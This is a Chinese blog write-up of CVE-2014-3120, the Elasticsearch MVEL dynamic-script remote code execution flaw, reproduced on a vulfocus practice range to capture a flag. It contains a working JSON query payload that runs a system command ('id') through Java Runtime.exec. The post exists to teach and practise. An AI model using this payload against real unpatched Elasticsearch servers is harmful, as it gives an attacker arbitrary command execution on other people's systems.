cve_2014_3120-Elasticsearch-rce-vulfocus靶场

1.背景

来源:ElasticSearch(CVE-2014-3120)命令执行漏洞复现_mvel 漏洞-CSDN博客

参考:https://www.cnblogs.com/huangxiaosan/p/14398307.html

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
知识点普及:
1、Elasticsearch,是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。
2、Lucene,是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,提供了完整的查询引擎和索引引擎,部分文本分析引擎。
3、沙盒,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,所有改动对操作系统不会造成任何损失。

2.复现与vulfocus获取flag

待会要用的代码,由于es是用json方式传递的,所以我们需要json方式用java代码传递命令

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {}
        }
      }
    },
    "script_fields": {
        "command": {
            "script":"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

ulfocus打开环境选择9200这个端口的映射端口打开

抓包之后去先创建一条数据

传递java代码实现命令执行

修改这个命令就可以查看到flag

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-11 15:24:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-11 15:24:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-11 15:24:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-11 15:24:01       20 阅读

热门阅读

  1. qt+ffmpeg实现视频转码功能(亲测好用)

    2024-06-11 15:24:01       11 阅读
  2. TensorFlow 的基本概念和使用场景

    2024-06-11 15:24:01       10 阅读
  3. 一些科学方法的总结

    2024-06-11 15:24:01       8 阅读
  4. 【Dify系列文章——Redis介绍】

    2024-06-11 15:24:01       9 阅读
  5. 设计与实现完整的余额充值系统

    2024-06-11 15:24:01       10 阅读
  6. Web前端开发学习内容:深入探索与全方位掌握

    2024-06-11 15:24:01       9 阅读
  7. C++算法——选择排序

    2024-06-11 15:24:01       6 阅读
  8. mysql数据聚合实例

    2024-06-11 15:24:01       9 阅读
  9. 用python海龟画图实现倒计时功能

    2024-06-11 15:24:01       6 阅读